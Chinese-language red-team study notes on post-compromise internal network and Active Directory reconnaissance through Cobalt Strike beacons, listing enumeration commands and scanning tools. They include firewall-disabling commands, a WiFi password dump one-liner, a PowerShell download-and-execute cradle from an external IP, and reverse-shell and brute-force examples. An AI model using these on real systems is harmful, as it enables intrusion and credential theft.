2 内网信息收集

附上CS教程笔记:

此处为语雀内容卡片,点击链接查看:https://www.yuque.com/glorygod/osgyb5/zgbx5y5lpcsn2kee

手动收集本机内网信息

不管是在外网中还是在内网中,信息收集都是重要的第一步。对于内网中的一台机器,其所处内网的结构是什么样的、其角色是什么、使用这台机器的人的角色是什么以及这台机器上安装了什么杀毒软件、这台机器是通过什么方式上网的、这台机器是笔记本电脑还是台式机等问题都需要通过信息收集来解答。

上传木马后先把后门通信时间设短一些

sleep 1

网络配置信息

获取本机的网络配置信息

命令执行

shell ipconfig

操作系统和软件信息

操作系统和版本信息

shell systeminfo
shell systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"

系统体系结构

shell echo %PROCESSOR_ARCHITECTURE%

安装的软件及版本

shell wmic product get name,version

本机服务信息

shell wmic service list brief

进程信息

shell tasklist
shell wmic process list brief

启动程序信息

shell wmic startup get command,caption

计划任务

shell schtasks /query /fo LIST /v
如果无法加载资源先输:chcp 437

主机开机时间

shell net statistics workstation

用户列表信息

shell net user
shell wmic useraccount get name, SID   //推荐

列出会话

shell net session

补丁列表

shell systeminfo
shell wmic qfe get Caption,Description,HotFixID,InstalledOn

共享列表

shell net share
shell wmic share get name,path,status

路由信息

shell route print

防火墙相关操作

查看防火墙状态

shell netsh firewall show state

关闭防火墙

Win server 2003: shell netsh firewall set opmode disable

Win server 2003之后: shell netsh firewall set opmode disable 或者
shell netsh advfirewall set allprofiles state off(推荐使用)

查看防火墙配置

shell netsh firewall show config

查看WIFI密码

for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear

自动收集本地信息

bat脚本

echo 表示显示此命令后的字符
echo off 表示在此语句后所有运行的命令都不显示命令行本身
@与echo off相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。
call 调用另一个批处理文件(如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令)。
pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示,等待用户按任意键后继续
rem 表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用的(相当于程序中的注释)。
@echo off 不显示后续命令行及当前命令行
dir c:\*.* >a.txt 将c盘文件列表写入a.txt
call c:\ucdos\ucdos.bat 调用ucdos
echo 你好 显示"你好"
pause 暂停,等待按键继续
rem 准备运行wps 注释:准备运行wps
cd ucdos 进入ucdos目录
wps 运行wps
echo 123 >1.txt 输出123到1.txt

echo 456 >>1.txt 追加456到1.txt

@echo off
echo ############################## >>1.txt
ipconfig >>1.txt
echo ############################## >>1.txt
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" >>1.txt

systeminfo| findstr /B /C:"OS 名称" /C:"OS 版本" >>1.txt
echo ############################## >>1.txt

echo %PROCESSOR_ARCHITECTURE% >>1.txt

自动信息收集就是将之前讲的命令写成bat脚本运行,省去了我们手工的麻烦

其他脚本

下面脚本帮助我们完成辅助工作

for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set
"var=%%A"
wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >>
out.html
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName
/format:"%var%" >> out.html
wmic USERACCOUNT list full /format:"%var%" >> out.html
wmic group list full /format:"%var%" >> out.html
wmic nicconfig where IPEnabled='true' get
Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> out.html
wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace
/format:"%var%" >> out.html
wmic netuse list full /format:"%var%" >> out.html
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >>
out.html
wmic startup get Caption,Command,Location,User /format:"%var%" >> out.html
wmic PRODUCT get
Description,InstallDate,InstallLocation,PackageCache,Vendor,Version
/format:"%var%" >> out.html
wmic os get
name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> out.html
wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >>
out.html

操作

对着靶机右键,浏览探测,文件浏览

上传自动化 .bat 的脚本

上传成功后右键运行

再再 beacon 终端中 查看生成的文件 shell type 1.txt

利用CS进行内网IP扫描和发现

NetBIOS

这是一款用于扫描Windows网络上NetBIOS名字信息的程序。该程序对给出范围内的每一个地址发送NetBIOS状态查询,并且以易读的表格列出接收到的信息,对于每个响应的主机,NBTScan列出它的IP地址、NetBIOS计算机名、登录用户名和MAC地址。但只能用于局域网,NBTSCAN可以取到PC的真实IP地址和MAC地址,如果有”ARP攻击”在做怪,可以找到装有ARP攻击的PC的IP/和MAC地址。但只能用于局域网

用法:将nbtscan.exe上传到目标主机,在powershell中运行

shell nbtscan.exe 192.168.26.0/24

ICMP

除了利用NetBIOS探测内网,还可以利用ICMP协议探测内网。依次对内网中的每个IP地址执行ping命令,可以快速找出内网中所有存活酌主机。在渗透测试中中,可以使用如下命令循环探测整个C段

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.26.%I | findstr "TTL="

ARP

使用arp协议进行IP探测 ,arp.exe

arp -t 192.168.26.0/24

KSCAN

kscan是一款资产测绘工具,可针对指定资产进行端口扫描以及TCP指纹识别和Banner抓取,在不发送更多的数据包的情况下尽可能的获取端口更多信息。并能够针对扫描结果进行自动化暴力破解,且是go平台首款开源的RDP暴力破解工具

使用方法

usage: kscan [-h,--help,--fofa-syntax] (-t,--target,-f,--fofa,--spy) [-p,--port|--top] [-o,--output] [-oJ] [--proxy] [--threads] [--path] [--host] [--timeout] [-Pn] [-Cn] [-sV] [--check] [--encoding] [--hydra] [hydra options] [fofa options]


optional arguments:
  -h , --help     show this help message and exit
  -f , --fofa     从fofa获取检测对象,需提前配置环境变量:FOFA_EMAIL、FOFA_KEY
  -t , --target   指定探测对象:
                  IP地址:114.114.114.114
                  IP地址段:114.114.114.114/24,不建议子网掩码小于12
                  IP地址段:114.114.114.114-115.115.115.115
                  URL地址:https://www.baidu.com
                  文件地址:file:/tmp/target.txt
  --spy           网段探测模式,此模式下将自动探测主机可达的内网网段可接收参数为:
                  (空)、192、10、172、all、指定IP地址(将探测该IP地址B段存活网关)
  --check         针对目标地址做指纹识别,仅不会进行端口探测
  --scan          将针对--fofa、--spy提供的目标对象,进行端口扫描和指纹识别
  -p , --port     扫描指定端口,默认会扫描TOP400,支持:80,8080,8088-8090
  -eP, --excluded-port 跳过扫描指定的端口,支持:80,8080,8088-8090
  -o , --output   将扫描结果保存到文件
  -oJ             将扫描结果使用json格式保存到文件
  -Pn          	使用此参数后,将不会进行智能存活性探测,现在默认会开启智能存活性探测,提高效率
  -Cn             使用此参数后,控制台输出结果将不会带颜色
  -Dn             使用此参数后,将关闭CDN识别功能
  -sV             使用此参数后,将对所有端口进行全探针探测,此参数极度影响效率,慎用!
  --top           扫描经过筛选处理的常见端口TopX,最高支持1000个,默认为TOP400
  --proxy         设置代理(socks5|socks4|https|http)://IP:Port
  --threads       线程参数,默认线程100,最大值为2048
  --path          指定请求访问的目录,只支持单个目录
  --host          指定所有请求的头部Host值
  --timeout       设置超时时间
  --encoding      设置终端输出编码,可指定为:gb2312、utf-8
  --match         对资产返回banner进行检索,存在关键字的,才会显示,否则不会显示
  --hydra         自动化爆破支持协议:ssh,rdp,ftp,smb,mysql,mssql,oracle,postgresql,mongodb,redis,默认会开启全部
hydra options:
   --hydra-user   自定义hydra爆破用户名:username or user1,user2 or file:username.txt
   --hydra-pass   自定义hydra爆破密码:password or pass1,pass2 or file:password.txt
                  若密码中存在使用逗号的情况,则使用\,进行转义,其他符号无需转义
   --hydra-update 自定义用户名、密码模式,若携带此参数,则为新增模式,会将用户名和密码补充在默认字典后面。否则将替换默认字典。
   --hydra-mod    指定自动化暴力破解模块:rdp or rdp,ssh,smb
fofa options:
   --fofa-syntax  将获取fofa搜索语法说明
   --fofa-size    将设置fofa返回条目数,默认100条
   --fofa-fix-keyword 修饰keyword,该参数中的{}最终会替换成-f参数的值

cs中输入

shell kscan.exe -t 192.168.26.0/24 --encoding gb2312 //解决乱码
shell kscan.exe --spy all --encoding gb2312

FSCAN

一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。

fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt (以文件导入)
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量) 


Ladon(重头戏)

Ladon一款用于大型网络渗透的多线程插件化综合扫描神器,含端口扫描、服务识别、网络资产、密码爆破、高危漏洞检测以及一键GetShell,支持批量A段/B段/C段以及跨网段扫描,支持URL、主机、域名列表扫描。7.5版本内置100个功能模块,外部模块18个,通过多种协议以及方法快速获取目标网络存活主机IP、计算机名、工作组、共享资源、网卡地址、操作系统版本、网站、子域名、中间件、开放服务、路由器、数据库等信息,漏洞检测包含MS17010、SMBGhost、Weblogic、ActiveMQ、Tomcat、Struts2系列等,密码爆破13种含数据库(Mysql、Oracle、MSSQL)、FTP、SSH、VNC、Windows(LDAP、SMB/IPC、NBT、WMI、SmbHash、WmiHash、Winrm)、BasicAuth、Tomcat、Weblogic、Rar等,远程执行命令包含(wmiexe/psexec/atexec/sshexec/jspshell),Web指纹识别模块可识别75种(Web应用、中间件、脚本类型、页面类型)等,可高度自定义插件POC支持.NET程序集、DLL(C#/Delphi/VC)、PowerShell等语言编写的插件,支持通过配置INI批量调用任意外部程序或命令,EXP生成器可一键生成漏洞POC快速扩展扫描能力。Ladon支持Cobalt Strike插件化扫描快速拓展内网进行横向移动。
说明书查看 Ladon 文件夹中的 wiki.txt,或者

Ladon wiki | K8哥哥’s Blog

利用CS进行内网端口扫描和发现

内网端口扫描技术

通过查询目标主机的端口开放信息,不仅可以了解目标主机所开放的服务,还可以找出其开放服务的涌洞、分析目标网络的拓扑结构等, 在进行内网渗测试时,通常会使用Metasploit内置的端口进行扫描。也可以上传端口扫描工具,使用工具进行扫描。还可以根据服务器的环境,使用自定义的端口扫描脚本进行扫描。在获得授权的情况下,可以直接使用Nmap、masscan等端口扫描工具获取开放的端口信息。

Scanline

ScanLine是一款windows下的端口扫描的命令行程序。它可以完成PING扫描、TCP端口扫描、UDP端口扫描等功能。运行速度很快,不需要winPcap库支持,应用场合受限较少。
用法

‐? ‐ 显示此帮助文本
‐b ‐ 获取端口横幅
‐c ‐ TCP 和 UDP 尝试超时(毫秒)。 默认值为 4000
‐d ‐ 扫描之间的延迟(毫秒)。 默认为 0
‐f ‐ 从文件中读取 IP。 使用“stdin”作为标准输入
‐g ‐ 绑定到给定的本地端口
‐h ‐ 隐藏没有开放端口的系统的结果
‐i ‐ 除了 Echo 请求之外,用于 ping 使用 ICMP 时间戳请求
‐j ‐ 不要在 IP 之间输出“‐‐‐‐‐...”分隔符
‐l ‐ 从文件中读取 TCP 端口
‐L ‐ 从文件中读取 UDP 端口
‐m ‐ 绑定到给定的本地接口 IP
‐n ‐ 不扫描端口 ‐ 仅 ping(除非您使用 ‐p)
‐o ‐ 输出文件(覆盖)
‐O ‐ 输出文件(追加)
‐p ‐ 扫描前不要 ping 主机
‐q ‐ ping 超时(毫秒)。 默认值为 2000
‐r ‐ 将 IP 地址解析为主机名
‐s ‐ 以逗号分隔格式输出 (csv)
‐t ‐ 要扫描的 TCP 端口(以逗号分隔的端口/范围列表)
‐T ‐ 使用 TCP 端口的内部列表
‐u ‐ 要扫描的 UDP 端口(以逗号分隔的端口/范围列表)
‐U ‐ 使用 UDP 端口的内部列表
‐v ‐ 详细模式
‐z ‐ 随机化 IP 和端口扫描顺序
scanline.exe ‐bhpt 21‐23,25,80,110,135‐139,143,443,445,1433,1521,3306,3389,5556,5631,5900,8080 100.100.0.39
scanline.exe ‐bhpt 80,443 100.100.0.1‐254(IP)
scanline.exe ‐bhpt 139,445 IP

Telnet

Telnet协议是TCP/IP协议族的一员,是Internet远程登录服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在目标计算机上使用Telnet协议,可以与目标服务器建立连接。如果只是想快速探测某台主机的某个常规高危端口是否开放,使用telnet命令是最方便。

telnet IP 端口

RedTeamTool

RedTeamTool中有一个本地端口扫面的工具

portscanx64 10000

PowerSpioit

PowerSploit是一款基于PowerShell的后渗透框架软件,包含了很多PowerShell的攻击脚本,它们主要用于渗透中的信息侦测,权限提升、权限维持等
下载地址: https://github.com/PowerShellMafia/PowerSploit
用法

ActivirusBypass:发现杀毒软件的查杀特征
CodeExecution:在目标主机上执行代码
Exfiltration:目标主机上的信息搜集工具
Mayhem:蓝屏等破坏性的脚本
Persistence:后门脚本
Privsec:提权等脚本
Recon:以目标主机为跳板进行内网信息侦查
ScriptModification:在目标主机上创建或修改脚本

本地执行

powershell ‐exec bypass Import‐Module .\Invoke‐Portscan.ps1;Invoke‐Portscan ‐Hosts 192.168.41.0/24 ‐T 4 ‐ports '445,8080,3389,80' ‐oA c:\1.txt

远程执行

python -m http.server 80 开启http服务

powershell ‐exec bypass ‐c IEX (New‐Object System.Net.Webclient).DownloadString('http://118.178.134.226:8080/Invoke‐Portscan.ps1');import‐module .\Invoke‐Portscan.ps1;Invoke‐Portscan ‐Hosts 192.168.41.0/24 ‐T 4 ‐ports '445,8080,3389,80' ‐oA c:\1.txt

Nishang

Nishang是一款针对PowerShell的渗透工具。说到渗透工具,那自然便是老外开发的东西。国人开发的东西,也不是不行,只不过不被认可罢了。不管是谁开发的,既然跟渗透有关系,那自然是对我们有帮助的,学习就好。来源什么的都不重要。总之,nishang也是一款不可多得的好工具。非常的好用。

下载地址 https://github.com/samratashok/nishang
课后阅读 https://dude6.com/article/116047.html
使用方式

Set‐ExecutionPolicy remotesigned 允许导入
powershell ‐command "& { import‐module .\nishang\nishang.psm1; Invoke‐PortScan ‐StartAddress 192.168.41.1 ‐EndAddress 192.168.41.255 ‐ResolveHost }
Import‐Module .\nishang.psm1 导入模块
Invoke‐PortScan ‐StartAddress 192.168.41.1 ‐EndAddress 192.168.41.21 ‐ResolveHost 扫描

直接利用power shell 导入,在beacon命令行内写入powershell-import 文件名 (文件要放在cs目录下)

beacon> powershell‐import //导入各种powershell脚本,这里可以导入nishang模块
beacon>powershell powershell脚本名
或者
beacon> powershell Check‐VM

Kscan

Fscan

常见端口服务

文件共享服务端口

端 口 号

端口说明

使用说明

21、22、69

FTP/ FTP 文件传输协议

允许匿名的上传、下载、爆破和嗅探操作

2049

NFS 服务

配置不当

139

SAMBA 服务

爆破、未授权访问、远程代码执行

389

LDAP 目录访问协议

注入、允许匿名访问、弱口令

远程连接服务端口

端 口 号

端口说明

使用说明

22

SSH远程连接

爆破、SSH隧道及内网代理转发、文件传输

23

Telnet 远程连接

爆破、嗅探、弱口令

3389

RDP 远程桌面连接

Shift 后门 (2003 以下版本) 爆破

5900

VNC

弱口令爆破

5632

PcAnywhere 服务

抓取密码、代码执行

Web 应用服务端口

端口号

端口说明

使用说明

80、443、8080

常见的Web 服务端口

Web 攻击、爆破、对应服务器版本漏洞

7001 、7002

WebLogic 控制台

Java 反序列化、弱口令

8080 、8089

JBoss/Resin/Jetty/Jenkins

反序列化、控制台弱口令

9090

WebSphere 控制台

Java 反序列化、弱口令

4848

GlassFish 控制台

弱口令

1352

Lotus Domino 邮件服务

弱口令、信息泄露、爆破

10000

webmin 控制面板

弱口令

数据库服务端口

端口号

端口说明

使用说明

3306

MySQL 数据库

注入、提权、爆破

1433

MSSQL 数据库

注入、提权、SA 弱口令、爆破

1521

Ora cle 数据库

1N S 爆破、注入、反弹She ll

5432

Post greSQL数据库

爆破、注入、弱口令

27017 、27018

MongoDB 数据库

爆破、未授权访问

6379

Redis 数据库

可尝试未授权访问、弱口令爆破

5000

Sysbase/DB2 数据库

爆破、注入

邮件服务端口

端口号

端口说明

使用说明

25

SMTP 邮件服务

邮件伪造

110

POP3 协议

爆破、嗅探

143

IMAP 协议

爆破

网络常见协议端口

端口号

端口说明

使用说明

53

DNS 域名系统

允许区域传送、DNS 劫持、缓存投毒、欺骗

67、68

DHCP 服务

劫持、欺骗

161

SNMP 协议

爆破、搜集目标内网信息

特殊服务端口

端口号

端口说明

使用说明

2181

ZooKeeper 服务

未授权访问

8069

Zabbix 服务

远程执行、SQL 注入

9200 、9300

El asticsearcb 服务

远程执行

11211

Memcached 服务

未授权访问

512、513、514

Linux rexec 服务畴

爆破、远程登录

873

rsync 服务

匿名访问、文件上传

3690

SVN 服务

SVN 泄露、未授权访问

50000

SAP Management Console

远程执行

域环境基本信息收集

查询权限

查看当前权限后,有四种情况:
1、本地普通用户:当前为本机的user用户


2、本地管理员用户:当前为本机的admmistrator


3、域内用户:当前为域内普通用户


4、域内用户:当前为hacke域内的administrator用户


在这四种情况中。

  • 如果当前内网中存在域,那么本地普通用户只能查询本机相关信息,不能查询域内信息
  • 而本地管理员用户和域内用户可以查询域内信息

其原理是:域内的所有查询都是通过域控制器实现的(基于LDAP协议),而这个查询需要经过权限认证,所以,只有域用户才拥有这个权限;当域用户执行查询命令时,会自动使用Kerberos协议进行认证,无须额外输入账号和密码本地管理员Admmistrator权限可以直接提升为Ntauthority或System权限,因此,在域中,除普通用户外,所有的机器都有—个机器用户(用户名是机器名加上"$")。在本质上,机器的system用户对应的就是域里面的机器用户所以,使用System权限可以运行域内的查询命令。

判断域的存在

获得了本机的相关信息后,就要判断当前内网中是否存在域。如果当前内网中存在域,就需要判断所控主机是否在域内。下面几种方法:

IPconfig /all

执行命令,可以查看网关IP地址、DNS的IP地址,域名、本机是否和DNS服务器处于同一网段等信息

然后,通过反向解析查询命令nslookup来解析域名的IP地址。用解析得到的IP地址进行对比判断域控制器和DNS服务器是否在同—台服务器上。

systeminfo

执行如下命令,“域”即域名,登录服务器为域控制器。如果“域”为“WORKGROUP”,表示当前服务器不在域内。

net config workstation

net time /domain

一般会有如下三种情况:
1. 存在域,但当前用户不是域用户

2. 存在域,并且当前用户是域用户

3. 当前网络环境为工作组,不存在域

确定了当前内网拥有的域,且所控制的主机在域内,就可以进行域内相关信息的收集了。介绍的查询命令在本质上都是通过LDAP协议到域控制器上进行查询的,所以在查询时需要进行权限认证。只有域用户才拥有此权限,本地用户无法运行本节介绍的查询命令( System 权限用户除外。在域中,除普通用户外,所有的机器都有一个机器用户,其用户名为机器名加上 "$"。 System权限用户对应的就是域里面的机器用户,所以System权限用户可以运行本节介绍 的查询命令)

NET命令详解

NET命令是一个命令行命令,Net命令有很多函数用于实用和核查计算机之间的NetBIOS连接,可以查看我们的管理网络环境、服务、用户、登陆等信息内容;要想获得Net 的HELP可以:

(1)在Windows下可以用图形的方式,开始->帮助->索引->输入NET;

(2)在COMMAND下可以用字符方式:NET /?或NET或NET HELP取得相应的方法的帮助。

所有Net命令接受选项/yes和/no(可缩写为/y和/n)。

主要命令

NET View

NET User

NET Use

NET Time

Net Start

Net Pause

Net Continue

NET Stop

Net Statistics

Net Share

Net Session

Net Send

Net Print

Net Name

Net Localgroup

Net Group

Net File

Net Config

Net Computer

Net Accounts

查询域
net view /domain
查询域内所有计算机
net view /domain:域名
查询域内所有用户组列表
net group /domain

DomainAdmins:域管理员。
DomainComputers:域内机器。
DomainControllers:域控制器。
DomainGusers:域访客,权限较低。
DomainUser:域用户。
EnterpriseAdmins:企业系统管理员用户
在默认情况下, Domain admins和Enterprise Admins对域内所有域控制器有完全控制权限

查询所有域成员计算机列表
net group "domain computers" /domain
获取域密码信息
net accounts /domain
获取域信任信息
nltest /domain_trusts

域中查找DC的多种方式

查看DC的机器名

nltest /DCLIST:域名

查看DC的主机名

nslookup -type=SRV _ldap.tcp

查看当前时间

net time /domain

查看DC组

net group "Domain Controllers" /domain

在实际网络中,一个域内一般存在两台或两台以上的域控制器,其目的是:一旦主域控制器发生故障,备用的域控制器可以保证域内的服务和验证工作正常进行。

获取域内用户基本信息

获取域内用户

向DC进行查询

net user /domain

其中,查询出的 krbtgt 用户不仅可以创建票据授权服务(TGS)的加密密钥,还可以实现多种域内权限持久化方法

获取域内用户详细信息

用wmic可以获取域内用户的详细常见参数包括用户名、描述信息、SID、域名、状态等。

wmic useraccount get/all
wmic命令详解

ALIAS

‐ 对本地系统上可用别名的访问

BASEBOARD

‐ 基板(也称为主板或系统板)管理。

BIOS

‐ 基本输入/输出服务(BIOS)管理。

BOOTCONFIG

‐ 启动配置管理。

CDROM

‐ CD‐ROM 管理。

COMPUTERSYSTEM

‐ 计算机系统管理。

CPU

‐ CPU 管理。

CSPRODUCT

‐ SMBIOS 中的计算机系统产品信息。

DATAFILE

‐ 数据文件管理。

DCOMAPP

‐ DCOM 应用程序管理。

DESKTOP

‐ 用户的桌面管理。

DESKTOPMONITOR

‐ 桌面监视器管理。

DEVICEMEMORYADDRESS

‐ 设备内存地址管理。

DISKDRIVE

‐ 物理磁盘驱动器管理。

DISKQUOTA

‐ 用于 NTFS 卷的磁盘空间使用量。

DMACHANNEL

‐ 直接内存访问(DMA)通道管理。

ENVIRONMENT

‐ 系统环境设置管理。

FSDIR

‐ 文件系统目录项管理。

GROUP

‐ 组帐户管理。

IDECONTROLLER

‐ IDE 控制器管理。

IRQ

‐ 中断请求线路(IRQ)管理。

JOB

‐ 提供对使用计划服务安排的作业的访问。

LOADORDER

‐ 定义执行依赖关系的系统服务的管理。

LOGICALDISK

‐ 本地存储设备管理。

LOGON

‐ 登录会话。

MEMCACHE

‐ 缓存内存管理。

MEMORYCHIP

‐ 内存芯片信息。

MEMPHYSICAL

‐ 计算机系统的物理内存管理。

NETCLIENT

‐ 网络客户端管理。

NETLOGIN

‐ 网络登录信息(属于特定用户)管理。

NETPROTOCOL

‐ 协议(及其网络特征)管理。

NETUSE

‐ 活动网络连接管理。

NIC

‐ 网络接口控制器(NIC)管理。

NICCONFIG

‐ 网络适配器管理。

NTDOMAIN

‐ NT 域管理。

NTEVENT

‐ NT 事件日志中的项目。

NTEVENTLOG

‐ NT 事件日志文件管理。

ONBOARDDEVICE

‐ 主板(系统板)中内置的通用适配器设备的管理。

OS

‐ 已安装操作系统的管理。

PAGEFILE

‐ 虚拟内存文件交换管理。

PAGEFILESET

‐ 页面文件设置管理。

PARTITION

‐ 物理磁盘的已分区区域的管理。

PORT

‐ I/O 端口管理。

PORTCONNECTOR

‐ 物理连接端口管理。

PRINTER

‐ 打印机设备管理。

PRINTERCONFIG

‐ 打印机设备配置管理。

PRINTJOB

‐ 打印作业管理。

PROCESS

‐ 进程管理。

PRODUCT

‐ 安装程序包任务管理。

QFE

‐ 快速修复工程。

QUOTASETTING

‐ 卷上的磁盘配额设置信息。

RDACCOUNT

‐ 远程桌面连接权限管理。

RDNIC

‐ 对特定网络适配器的远程桌面连接管理。

RDPERMISSIONS

‐ 特定远程桌面连接的权限。

RDTOGGLE

‐ 远程打开或关闭远程桌面侦听程序。

RECOVEROS

‐ 操作系统出现故障时将从内存收集的信息。

REGISTRY

‐ 计算机系统注册表管理。

SCSICONTROLLER

‐ SCSI 控制器管理。

SERVER

‐ 服务器信息管理。

SERVICE

‐ 服务应用程序管理。

SHADOWCOPY

‐ 卷影副本管理。

SHADOWSTORAGE

‐ 卷影副本存储区域管理。

SHARE

‐ 共享资源管理。

SOFTWAREELEMENT

‐ 系统上安装的软件产品元素的管理。

SOFTWAREFEATURE

‐ SoftwareElement 的软件产品子集的管理。

SOUNDDEV

‐ 声音设备管理。

STARTUP

‐ 当用户登录到计算机系统时自动运行的命令的管理。

SYSACCOUNT

‐ 系统帐户管理。

SYSDRIVER

‐ 基本服务的系统驱动程序管理。

SYSTEMENCLOSURE

‐ 物理系统外壳管理。

SYSTEMSLOT

‐ 物理连接点(包括端口、插槽和外设以及专用连接点)的管理。

TAPEDRIVE

‐ 磁带驱动器管理。

TEMPERATURE

‐ 温度传感器(电子温度计)数据管理。

TIMEZONE

‐ 时区数据管理。

UPS

‐ 不间断电源(UPS)管理。

USERACCOUNT

‐ 用户帐户管理。

VOLTAGE

‐ 电压传感器(电子电压表)数据管理。

VOLUME

‐ 本地存储卷管理。

VOLUMEQUOTASETTING

‐ 将磁盘配额设置与特定磁盘卷相关联。

VOLUMEUSERQUOTA

‐ 每用户存储卷配额管理。

WMISET

‐ WMI 服务操作参数管理

查看存在用户

只有在 server 服务器上才有这个命令

dsquery user

常用的 dsquery 命令:

dsquery computer
dsquery contact
dsquery subnet
dsquery group
dsquery ou
dsquery site
dsquery server
asquery user
dsquery quota
dsquery partition

‐查找目录中的计算
‐查找目录中的职系人
‐目录中的子网
‐查找目录中的组,
‐查找目录中的组织单位,
‐最找目景中的站成
‐查找目录中的ADDC/LDs实例
‐查找目录中的用户
‐查找目录中的配颗机定
‐查找目录中的分区

获取DC管理员信息

查询本地管理员组用户

net localgroup administrators

Domain admin组中的用户默认为域内机器的本地管理员用户在实际应用中为了方便管理,会有域用户被设置为域机器的本地管理员用户。

查询域管理用户

net group "domain admins" /domain

查询域管理员用户组

net group "Enterprise Admins" /domain

定位域管理员

在内网中,通常会部署大址的网络安全系统和设备,例如IDS、IPS、日志审计、安全网关、 反病毒软件等。在域网络攻击测试中,获取域内的一个支点后,需要获取域管理员权限。在一个域中,当计算机加入域后,会默认给域管理员组赋予本地系统管理员权限,也就是说,当目标机被添加到域中,成为域的成员主机后,系统会自动将域管理员组添加
到本地系统管理员组中,因此域管理员组的成员都可以访问本地计算机,且具备安全控制权限。

定位域内管理员的常规果道,一是日志,二是会话。日志是指本地机器的管理员日志,会话是指域内每台机器的登录会话。
假设已经在Windows域中取得了普通用户权限,希望在域内横向移动,需要知道域内用户登录的位置、他是否是任何系统的本地管理员、他所属的组、他是否有权访问文件共享等。枚举主机、用户和组,有助于更好地了解域的布局。

手动定位域管理员

net view /domain 查看当前域名
net view /domain:域名 查看域内部所有计算机名
net group /domain 查看域内部所有用户组列表
net group "domain computers" /domain 查看所有域成员计算机列表
net accounts /domain 查看域密码信息
nltest /domian_trusts 获取域信任信息
nltest /DCLIST:域名 查看域控制器机器名
net time /domain 查看当前时间,因为时间服务器也是主域服务器,可以看到域服务器的机器名
net group "Domain Controllers" /domain 查看域控制器组,因为可能有不止一台域控,有主备之分
net user /domain 查询域内用户,会看到熟悉的krbtgt用户
wmic useraccount get /all 获取域内用户详细信息
dsquery user 查看域内存在的用户
net localgroup administrators 查看本地管理员用户组
net group "domain admins" /domain 查询域管理员用户

psloggedom.exe工具

可以显示本地登录的用户和通过本地计算机或远程计算机的资源登录的用户。如果指定了用户名而不是计算机,psloggedon.exe 会搜索网络邻居中的计算机,并显示该用户当前是否已登录。

psloggedon.exe [‐] [‐l] [‐x] [\\computername或username]

PVEDFindADUser.exe工具

pveFindADUser.exe 可用于查找 Active Directory 用户登录的位置,枚举域用户,以及查找在特定计算机上登录的用户,包括本地用户、通过RDP 登录的用户、用于运行服务和计划任务的用户账 户。运行该工具的计算机需要具有 .NETFramework 2.0,并且需要具有管理员权限。

‐h:显示帮助信息
‐current["username"]:如果仅指定‐current参数,将获取目标计算机上当前登录的所有用户。如果指定了用户名
(Domain\Username),则显示该用户登录的计算机
‐last["username"]:如果仅指定‐last参数,将获取目标计算机上最后一个登录用户。如果指定了用户名
(Domain\Username),则显示此用户上次登录的计算机。根据网络的安全策略,可能会隐藏最后一个登录用户的用户
名,此时使用该工具可能无法得到用户名
‐noping:阻止该工具在获取用户登陆信息之前对目标执行ping命令
‐target:可选参数,用于指定要查询的主机。如果未指定该参数,将查询域中的所有主机。如果指定了此参数,主机名
列表由逗号分隔
直接运行"pvefindaduser.exe ‐current",即可显示域中所有计算机上当前登录的用户

netview.exe

netview.exe 是一个枚举工具,使用 WinAPI 枚举系统,利用NetSessionEnum找寻登陆会话,利NetShareEnum找寻共享,利用NetWkstaUserEnum枚举登陆的用户。同时,netview.exe 能够查询共享入口和有价值的用户。netview.exe的绝大部分功能不需要管理员权限就可以使用。

使用语法:
netview.exe <参数>
‐h:显示帮助菜单。
‐f filename.txt:指定从中提取主机列表的文件。
‐e filename.txt:指定要排除的主机名文件。
‐o filename.txt:将所有输出重定向到文件。
‐d domain:指定从中提取主机列表的域。如果没有指定,则使用当前域。
‐g group:指定用户搜寻的组名。如果没有指定,则使用 Domain Admins。
‐c:检查对已找到共享的访问权限。

NSE脚本

如果存在域账户或者本地账户就可以使用Nmap的smb-enum-sessions.nes引擎获取远程机器的登录会话(不需要管理员权限)
(需要搭建隧道,远程服务器)

smb‐enum‐domain:对域控制器进行信息收集,可以获取主机的信息、用户、可使用密码策略的用户等
